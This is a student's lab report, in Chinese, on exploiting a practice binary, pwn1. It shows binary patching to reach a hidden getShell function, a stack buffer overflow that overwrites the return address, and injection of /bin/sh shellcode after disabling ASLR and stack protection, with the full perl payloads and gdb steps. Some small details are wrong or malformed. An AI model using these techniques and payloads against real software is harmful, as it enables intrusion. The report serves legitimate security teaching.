20212903 2021-2022-2 《网络攻防实践》实践9报告
20212903 2021-2022-2 《网络攻防实践》实践9报告
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1、首先利用指令objdump -d pwn1 | more
对pwn1
文件进行反编译
通过下图我们可以到,在pwn1
文件中,我们首先分析main函数,发现在main函数中,有一个call指令,这时我们可以计算080484ba+ffffffd7=08048491
,08048491
地址为foo函数的开始地址,也就是说EIP寄存器会指向foo函数入口地址。
2、但是本次实验要求我们改变程序执行流程,直接跳转到getShell函数,因此再进行计算10804847d-080484ba=FFFFFFC3
因此我们需要把ffffffd7
改为FFFFFFC3
,即可把EIP寄存地址指向getShell函数的入口地址。于是打开pwn1文件进行更改,利用vim
打开文件,发现一堆乱码
输入%!xxd以16进制打开文件
在里面找一找显示d7
的位置,将其改为c3
即可
修改好后输入命令wq
保存退出
修改后要记得用%!xxd -r
将文件转回原来的编码格式
3、再利用指令objdump -d pwn1 | more
对pwn1
文件进行反编译,查看我们的更改是否起了效果
从下图可以看到,主函数中的call
指令部分,EIP寄存器指向了getShell
函数的入口地址
4、运行pwn1
文件
我们发现直接调用的getShell
函数,修改成功!
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1、再次利用指令objdump -d pwn1 | more
对pwn1
文件进行反编译,查看foo
函数相关功能以及编程内容
从下图可以看到foo
函数的主要功能是调用gets
函数读入用户输入的字符串,然后再利用puts函数将字符串输出到屏幕。但是整个过程只有读入与输出,并没有相关的检查,因此会存在Bof
漏洞。
我们还可以看到汇编代码在编程时预留的局部变量空间为0x18
同时gets
函数部分会将字符串放在0x1c
的位置,但是我们根据计算机的堆栈结构可以知道,若输入字符串长度超过36时,其第33-36个字节的数据会被放在EIP
寄存器中,也就是会将EIP
寄存器原有的数据覆盖掉
2、输入指令gdb pwn1
对pwn1
文件进行调试
然后输入aaaaaaaabbbbbbbbccccccccddddddddeeeeeee
作为字符串输入,利用指令info r
查看各个寄存器的值、从下图中我们可以看到EIP寄存器中的值为0x65656565
而c
对应的ASCII码正好为65,这也正好验证了我们之前的分析,输入字符串的33-36字节的信息会覆盖EIP寄存器。
3、因此,我们只需要在输入的33-36字节设为getShell
函数的入口地址即可,之前我们的反编译分析中可以看到getShell
函数的入口地址为0804847d
.
利用指令perl -e 'print "wwwwwwwwwwwwwwwwjjjjjjjjjjjjjjjj\x7d\x84\x04\x08\x0a"' > input
生成input
,这里的input
是一个十六进制字符串文件,\x0a
表示的是换行符,因为是构造输入没有办法手动输入换行符。
利用指令./pwn1
运行pwn1
文件,发现确实是获取用户的输入然后再输入到屏幕上
先利用指令xxd input
查看input文件,再利用指令(cat input; cat) | ./pwn1
设input为pwn1的输入
成功!
注入一个自己制作的shellcode并运行这段shellcode。
1、首先需要安装execstack
把prelink_0.0.20130503.orig.tar.bz2
放到kali虚拟机中,利用指令sudo apt-get install libelf-dev
安装libelf-dev
利用指令tar -xjvf prelink_0.0.20130503.orig.tar.bz2
解压文件
进入解压后的文件夹,依次输入指令./configure
,make
, sudo make install
进行安装
2、首先利用指令execstack -s pwn1
将堆栈设为可执行状态
利用指令execstack -q pwn1
查看pwn1的堆栈是否处于可执行状态
利用指令more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态为2
利用指令echo "0"> /proc/sys/kernel/randomize_va_space
关闭地址随机化注意这里需要用到root权限
再利用指令more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态为0
3、选择构造方法为retaddr+nop+shellcode
来构造shellcode
shellcode为\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
使用perl构造输入字符串(长度为37个字节),其作用是用来确定retaddr
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
利用指令(cat input_shellcode; cat) | ./pwn1
将input_shellcode
设为pwn1
的输入
利用指令ps -ef | grep pwn1
查看进程
从下图可以看到进程号为238305
利用gdb
进行调试,输入指令attach 238305
对pwn1程序进行调试
输入指令break *0x080484ae
设置断点
输入c来开始运行,并在运行pwn1的窗口内输入回车,来让程序运行到断点处
输入指令info r esp
查看ESP寄存器的值
输入x/16x 0xffffd51c
查看当前栈顶的值为0x01020304
综上我们可以确定retaddr值为ffffd51c + 00000004 = ffffd520
因此来构造shellcode:32个A+retaddr+nop+shellcode
\x20\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00
利用指令perl -e 'print "A" x 32;print "\x20\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode
构造新的input_shellcode
利用指令(cat input_shellcode; cat) | ./pwn1
将新的input_shellcode作为pwn1的输入
实验成功!
3.学习中遇到的问题及解决
- 问题1:pwn1修改后无法在被打开以及反编译
- 问题1解决方案:
修改后用%!xxd -r
将文件转回原来的编码格式
- 问题2:我的kali虚拟机没有pdb
- 问题2解决方案:输入命令
sudo apt install gdb
和sudo apt install gdb-minimal
进行安装
4.实践总结
通过这次实验,学习到了渗透攻击的相关知识,了解了如果不对用户的输入进行检验,就会有很大的安全漏洞。我还学会了一些有关汇编语言的相关知识,让我了解了计算机底层语言的实现的一些基本原理。同时也让我深刻地认识到,网络攻防实践是一个综合性极强的课,他需要我们全面的了解计算机的相关知识,从上层的代码编写一直到底层的代码实现,也让我发现了我的理论知识有些薄弱,需要加强。